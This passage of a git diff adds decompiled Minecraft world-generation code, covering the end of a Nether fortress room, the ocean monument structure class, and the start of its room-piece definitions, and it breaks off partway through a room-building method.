+      func_175804_a(worldIn, p_74875_3_, 5, 5, 2, 5, 5, 3, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 0, 5, 3, 0, 5, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 5, 3, 6, 5, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 5, 8, 5, 5, 8, Blocks.nether_brick.getDefaultState(), Blocks.nether_brick.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 1, 6, 3, p_74875_3_);
+      func_175811_a(worldIn, Blocks.nether_brick_fence.getDefaultState(), 5, 6, 3, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 0, 6, 3, 0, 6, 8, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 6, 3, 6, 6, 8, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 6, 8, 5, 7, 8, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 2, 8, 8, 4, 8, 8, Blocks.nether_brick_fence.getDefaultState(), Blocks.nether_brick_fence.getDefaultState(), false);
+      
+      if (!hasSpawner)
+      {
+        BlockPos var4 = new BlockPos(getXWithOffset(3, 5), getYWithOffset(5), getZWithOffset(3, 5));
+        
+        if (p_74875_3_.func_175898_b(var4))
+        {
+          hasSpawner = true;
+          worldIn.setBlockState(var4, Blocks.mob_spawner.getDefaultState(), 2);
+          net.minecraft.tileentity.TileEntity var5 = worldIn.getTileEntity(var4);
+          
+          if ((var5 instanceof TileEntityMobSpawner))
+          {
+            ((TileEntityMobSpawner)var5).getSpawnerBaseLogic().setEntityName("Blaze");
+          }
+        }
+      }
+      
+      for (int var6 = 0; var6 <= 6; var6++)
+      {
+        for (int var7 = 0; var7 <= 6; var7++)
+        {
+          func_175808_b(worldIn, Blocks.nether_brick.getDefaultState(), var6, -1, var7, p_74875_3_);
+        }
+      }
+      
+      return true;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonument.java b/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonument.java
new file mode 100644
index 0000000..b6a0ae3
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonument.java
@@ -0,0 +1,203 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.biome.WorldChunkManager;
+
+public class StructureOceanMonument extends MapGenStructure
+{
+  private int field_175800_f;
+  private int field_175801_g;
+  public static final List field_175802_d = Arrays.asList(new BiomeGenBase[] { BiomeGenBase.ocean, BiomeGenBase.deepOcean, BiomeGenBase.river, BiomeGenBase.frozenOcean, BiomeGenBase.frozenRiver });
+  private static final List field_175803_h = com.google.common.collect.Lists.newArrayList();
+  private static final String __OBFID = "CL_00001996";
+  
+  public StructureOceanMonument()
+  {
+    field_175800_f = 32;
+    field_175801_g = 5;
+  }
+  
+  public StructureOceanMonument(Map p_i45608_1_)
+  {
+    this();
+    Iterator var2 = p_i45608_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((String)var3.getKey()).equals("spacing"))
+      {
+        field_175800_f = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), field_175800_f, 1);
+      }
+      else if (((String)var3.getKey()).equals("separation"))
+      {
+        field_175801_g = MathHelper.parseIntWithDefaultAndMax((String)var3.getValue(), field_175801_g, 1);
+      }
+    }
+  }
+  
+  public String getStructureName()
+  {
+    return "Monument";
+  }
+  
+  protected boolean canSpawnStructureAtCoords(int p_75047_1_, int p_75047_2_)
+  {
+    int var3 = p_75047_1_;
+    int var4 = p_75047_2_;
+    
+    if (p_75047_1_ < 0)
+    {
+      p_75047_1_ -= field_175800_f - 1;
+    }
+    
+    if (p_75047_2_ < 0)
+    {
+      p_75047_2_ -= field_175800_f - 1;
+    }
+    
+    int var5 = p_75047_1_ / field_175800_f;
+    int var6 = p_75047_2_ / field_175800_f;
+    Random var7 = worldObj.setRandomSeed(var5, var6, 10387313);
+    var5 *= field_175800_f;
+    var6 *= field_175800_f;
+    var5 += (var7.nextInt(field_175800_f - field_175801_g) + var7.nextInt(field_175800_f - field_175801_g)) / 2;
+    var6 += (var7.nextInt(field_175800_f - field_175801_g) + var7.nextInt(field_175800_f - field_175801_g)) / 2;
+    
+    if ((var3 == var5) && (var4 == var6))
+    {
+      if (worldObj.getWorldChunkManager().func_180300_a(new net.minecraft.util.BlockPos(var3 * 16 + 8, 64, var4 * 16 + 8), null) != BiomeGenBase.deepOcean)
+      {
+        return false;
+      }
+      
+      boolean var8 = worldObj.getWorldChunkManager().areBiomesViable(var3 * 16 + 8, var4 * 16 + 8, 29, field_175802_d);
+      
+      if (var8)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  protected StructureStart getStructureStart(int p_75049_1_, int p_75049_2_)
+  {
+    return new StartMonument(worldObj, rand, p_75049_1_, p_75049_2_);
+  }
+  
+  public List func_175799_b()
+  {
+    return field_175803_h;
+  }
+  
+  static
+  {
+    field_175803_h.add(new net.minecraft.world.biome.BiomeGenBase.SpawnListEntry(EntityGuardian.class, 1, 2, 4));
+  }
+  
+  public static class StartMonument extends StructureStart
+  {
+    private Set field_175791_c = com.google.common.collect.Sets.newHashSet();
+    private boolean field_175790_d;
+    private static final String __OBFID = "CL_00001995";
+    
+    public StartMonument() {}
+    
+    public StartMonument(World worldIn, Random p_i45607_2_, int p_i45607_3_, int p_i45607_4_)
+    {
+      super(p_i45607_4_);
+      func_175789_b(worldIn, p_i45607_2_, p_i45607_3_, p_i45607_4_);
+    }
+    
+    private void func_175789_b(World worldIn, Random p_175789_2_, int p_175789_3_, int p_175789_4_)
+    {
+      p_175789_2_.setSeed(worldIn.getSeed());
+      long var5 = p_175789_2_.nextLong();
+      long var7 = p_175789_2_.nextLong();
+      long var9 = p_175789_3_ * var5;
+      long var11 = p_175789_4_ * var7;
+      p_175789_2_.setSeed(var9 ^ var11 ^ worldIn.getSeed());
+      int var13 = p_175789_3_ * 16 + 8 - 29;
+      int var14 = p_175789_4_ * 16 + 8 - 29;
+      EnumFacing var15 = EnumFacing.Plane.HORIZONTAL.random(p_175789_2_);
+      components.add(new StructureOceanMonumentPieces.MonumentBuilding(p_175789_2_, var13, var14, var15));
+      updateBoundingBox();
+      field_175790_d = true;
+    }
+    
+    public void generateStructure(World worldIn, Random p_75068_2_, StructureBoundingBox p_75068_3_)
+    {
+      if (!field_175790_d)
+      {
+        components.clear();
+        func_175789_b(worldIn, p_75068_2_, func_143019_e(), func_143018_f());
+      }
+      
+      super.generateStructure(worldIn, p_75068_2_, p_75068_3_);
+    }
+    
+    public boolean func_175788_a(ChunkCoordIntPair p_175788_1_)
+    {
+      return field_175791_c.contains(p_175788_1_) ? false : super.func_175788_a(p_175788_1_);
+    }
+    
+    public void func_175787_b(ChunkCoordIntPair p_175787_1_)
+    {
+      super.func_175787_b(p_175787_1_);
+      field_175791_c.add(p_175787_1_);
+    }
+    
+    public void func_143022_a(NBTTagCompound p_143022_1_)
+    {
+      super.func_143022_a(p_143022_1_);
+      NBTTagList var2 = new NBTTagList();
+      Iterator var3 = field_175791_c.iterator();
+      
+      while (var3.hasNext())
+      {
+        ChunkCoordIntPair var4 = (ChunkCoordIntPair)var3.next();
+        NBTTagCompound var5 = new NBTTagCompound();
+        var5.setInteger("X", chunkXPos);
+        var5.setInteger("Z", chunkZPos);
+        var2.appendTag(var5);
+      }
+      
+      p_143022_1_.setTag("Processed", var2);
+    }
+    
+    public void func_143017_b(NBTTagCompound p_143017_1_)
+    {
+      super.func_143017_b(p_143017_1_);
+      
+      if (p_143017_1_.hasKey("Processed", 9))
+      {
+        NBTTagList var2 = p_143017_1_.getTagList("Processed", 10);
+        
+        for (int var3 = 0; var3 < var2.tagCount(); var3++)
+        {
+          NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+          field_175791_c.add(new ChunkCoordIntPair(var4.getInteger("X"), var4.getInteger("Z")));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonumentPieces.java b/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonumentPieces.java
new file mode 100644
index 0000000..44b3074
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureOceanMonumentPieces.java
@@ -0,0 +1,2323 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockPrismarine;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class StructureOceanMonumentPieces
+{
+  private static final String __OBFID = "CL_00001994";
+  
+  public StructureOceanMonumentPieces() {}
+  
+  public static void func_175970_a()
+  {
+    MapGenStructureIO.registerStructureComponent(MonumentBuilding.class, "OMB");
+    MapGenStructureIO.registerStructureComponent(MonumentCoreRoom.class, "OMCR");
+    MapGenStructureIO.registerStructureComponent(DoubleXRoom.class, "OMDXR");
+    MapGenStructureIO.registerStructureComponent(DoubleXYRoom.class, "OMDXYR");
+    MapGenStructureIO.registerStructureComponent(DoubleYRoom.class, "OMDYR");
+    MapGenStructureIO.registerStructureComponent(DoubleYZRoom.class, "OMDYZR");
+    MapGenStructureIO.registerStructureComponent(DoubleZRoom.class, "OMDZR");
+    MapGenStructureIO.registerStructureComponent(EntryRoom.class, "OMEntry");
+    MapGenStructureIO.registerStructureComponent(Penthouse.class, "OMPenthouse");
+    MapGenStructureIO.registerStructureComponent(SimpleRoom.class, "OMSimple");
+    MapGenStructureIO.registerStructureComponent(SimpleTopRoom.class, "OMSimpleT");
+  }
+  
+  public static class DoubleXRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001983";
+    
+    public DoubleXRoom() {}
+    
+    public DoubleXRoom(EnumFacing p_i45597_1_, StructureOceanMonumentPieces.RoomDefinition p_i45597_2_, Random p_i45597_3_)
+    {
+      super(p_i45597_1_, p_i45597_2_, 2, 1, 1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition var4 = field_175830_k.field_175965_b[EnumFacing.EAST.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var5 = field_175830_k;
+      
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 8, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 4, 1, 7, 4, 6, field_175828_a);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 8, 4, 1, 14, 4, 6, field_175828_a);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 3, 0, 0, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 15, 3, 0, 15, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 0, 15, 3, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 3, 7, 14, 3, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 2, 0, 0, 2, 7, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 15, 2, 0, 15, 2, 7, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 0, 15, 2, 0, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 2, 7, 14, 2, 7, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 1, 0, 0, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 15, 1, 0, 15, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 0, 15, 1, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 7, 14, 1, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 0, 10, 1, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 2, 0, 9, 2, 3, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 3, 0, 10, 3, 4, field_175826_b, field_175826_b, false);
+      func_175811_a(worldIn, field_175825_e, 6, 2, 3, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 9, 2, 3, p_74875_3_);
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 1, 0, 12, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 1, 7, 12, 2, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 15, 1, 3, 15, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class DoubleXYRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001982";
+    
+    public DoubleXYRoom() {}
+    
+    public DoubleXYRoom(EnumFacing p_i45596_1_, StructureOceanMonumentPieces.RoomDefinition p_i45596_2_, Random p_i45596_3_)
+    {
+      super(p_i45596_1_, p_i45596_2_, 2, 2, 1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition var4 = field_175830_k.field_175965_b[EnumFacing.EAST.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var5 = field_175830_k;
+      StructureOceanMonumentPieces.RoomDefinition var6 = field_175965_b[EnumFacing.UP.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var7 = field_175965_b[EnumFacing.UP.getIndex()];
+      
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 8, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 8, 1, 7, 8, 6, field_175828_a);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 8, 8, 1, 14, 8, 6, field_175828_a);
+      }
+      
+      for (int var8 = 1; var8 <= 7; var8++)
+      {
+        IBlockState var9 = field_175826_b;
+        
+        if ((var8 == 2) || (var8 == 6))
+        {
+          var9 = field_175828_a;
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 0, var8, 0, 0, var8, 7, var9, var9, false);
+        func_175804_a(worldIn, p_74875_3_, 15, var8, 0, 15, var8, 7, var9, var9, false);
+        func_175804_a(worldIn, p_74875_3_, 1, var8, 0, 15, var8, 0, var9, var9, false);
+        func_175804_a(worldIn, p_74875_3_, 1, var8, 7, 14, var8, 7, var9, var9, false);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 3, 2, 7, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 2, 4, 7, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 5, 4, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 13, 1, 3, 13, 7, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 11, 1, 2, 12, 7, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 11, 1, 5, 12, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 3, 5, 3, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 1, 3, 10, 3, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 7, 2, 10, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 5, 2, 5, 7, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 5, 2, 10, 7, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 5, 5, 5, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 5, 5, 10, 7, 5, field_175826_b, field_175826_b, false);
+      func_175811_a(worldIn, field_175826_b, 6, 6, 2, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 9, 6, 2, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 6, 6, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 9, 6, 5, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 5, 4, 3, 6, 4, 4, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 4, 3, 10, 4, 4, field_175826_b, field_175826_b, false);
+      func_175811_a(worldIn, field_175825_e, 5, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 5, 4, 5, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 10, 4, 2, p_74875_3_);
+      func_175811_a(worldIn, field_175825_e, 10, 4, 5, p_74875_3_);
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 0, 4, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 1, 7, 4, 2, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 1, 3, 0, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 1, 0, 12, 2, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 1, 7, 12, 2, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 15, 1, 3, 15, 2, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 5, 0, 4, 6, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 3, 5, 7, 4, 6, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 0, 5, 3, 0, 6, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 5, 0, 12, 6, 0, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 11, 5, 7, 12, 6, 7, field_175822_f, field_175822_f, false);
+      }
+      
+      if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+      {
+        func_175804_a(worldIn, p_74875_3_, 15, 5, 3, 15, 6, 4, field_175822_f, field_175822_f, false);
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class DoubleYRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001981";
+    
+    public DoubleYRoom() {}
+    
+    public DoubleYRoom(EnumFacing p_i45595_1_, StructureOceanMonumentPieces.RoomDefinition p_i45595_2_, Random p_i45595_3_)
+    {
+      super(p_i45595_1_, p_i45595_2_, 1, 2, 1);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175830_k.field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      StructureOceanMonumentPieces.RoomDefinition var4 = field_175830_k.field_175965_b[EnumFacing.UP.getIndex()];
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 8, 1, 6, 8, 6, field_175828_a);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 0, 4, 0, 0, 4, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 4, 0, 7, 4, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 0, 6, 4, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 7, 6, 4, 7, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 4, 1, 2, 4, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 2, 1, 4, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 4, 1, 5, 4, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 4, 2, 6, 4, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 4, 5, 2, 4, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 4, 5, 1, 4, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 4, 5, 5, 4, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 4, 5, 6, 4, 5, field_175826_b, field_175826_b, false);
+      StructureOceanMonumentPieces.RoomDefinition var5 = field_175830_k;
+      
+      for (int var6 = 1; var6 <= 5; var6 += 4)
+      {
+        byte var7 = 0;
+        
+        if (field_175966_c[EnumFacing.SOUTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 2, var6, var7, 2, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 5, var6, var7, 5, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 3, var6 + 2, var7, 4, var6 + 2, var7, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, var6, var7, 7, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 0, var6 + 1, var7, 7, var6 + 1, var7, field_175828_a, field_175828_a, false);
+        }
+        
+        var7 = 7;
+        
+        if (field_175966_c[EnumFacing.NORTH.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, 2, var6, var7, 2, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 5, var6, var7, 5, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 3, var6 + 2, var7, 4, var6 + 2, var7, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, 0, var6, var7, 7, var6 + 2, var7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, 0, var6 + 1, var7, 7, var6 + 1, var7, field_175828_a, field_175828_a, false);
+        }
+        
+        byte var8 = 0;
+        
+        if (field_175966_c[EnumFacing.WEST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 2, var8, var6 + 2, 2, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 5, var8, var6 + 2, 5, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6 + 2, 3, var8, var6 + 2, 4, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 0, var8, var6 + 2, 7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6 + 1, 0, var8, var6 + 1, 7, field_175828_a, field_175828_a, false);
+        }
+        
+        var8 = 7;
+        
+        if (field_175966_c[EnumFacing.EAST.getIndex()] != 0)
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 2, var8, var6 + 2, 2, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 5, var8, var6 + 2, 5, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6 + 2, 3, var8, var6 + 2, 4, field_175826_b, field_175826_b, false);
+        }
+        else
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, var6, 0, var8, var6 + 2, 7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, var6 + 1, 0, var8, var6 + 1, 7, field_175828_a, field_175828_a, false);
+        }
+        
+        var5 = var4;
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class DoubleYZRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001980";
+    
+    public DoubleYZRoom() {}
+    
+    public DoubleYZRoom(EnumFacing p_i45594_1_, StructureOceanMonumentPieces.RoomDefinition p_i45594_2_, Random p_i45594_3_)
+    {
+      super(p_i45594_1_, p_i45594_2_, 1, 2, 2);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition var4 = field_175830_k.field_175965_b[EnumFacing.NORTH.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var5 = field_175830_k;
+      StructureOceanMonumentPieces.RoomDefinition var6 = field_175965_b[EnumFacing.UP.getIndex()];
+      StructureOceanMonumentPieces.RoomDefinition var7 = field_175965_b[EnumFacing.UP.getIndex()];
+      
+      if (field_175830_k.field_175967_a / 25 > 0)
+      {
+        func_175821_a(worldIn, p_74875_3_, 0, 8, field_175966_c[EnumFacing.DOWN.getIndex()]);
+        func_175821_a(worldIn, p_74875_3_, 0, 0, field_175966_c[EnumFacing.DOWN.getIndex()]);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 8, 1, 6, 8, 7, field_175828_a);
+      }
+      
+      if (field_175965_b[EnumFacing.UP.getIndex()] == null)
+      {
+        func_175819_a(worldIn, p_74875_3_, 1, 8, 8, 6, 8, 14, field_175828_a);
+      }
+      
+
+
+
+      for (int var8 = 1; var8 <= 7; var8++)
+      {
+        IBlockState var9 = field_175826_b;
+        
+        if ((var8 == 2) || (var8 == 6))
+        {
+          var9 = field_175828_a;
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 0, var8, 0, 0, var8, 15, var9, var9, false);
+        func_175804_a(worldIn, p_74875_3_, 7, var8, 0, 7, var8, 15, var9, var9, false);
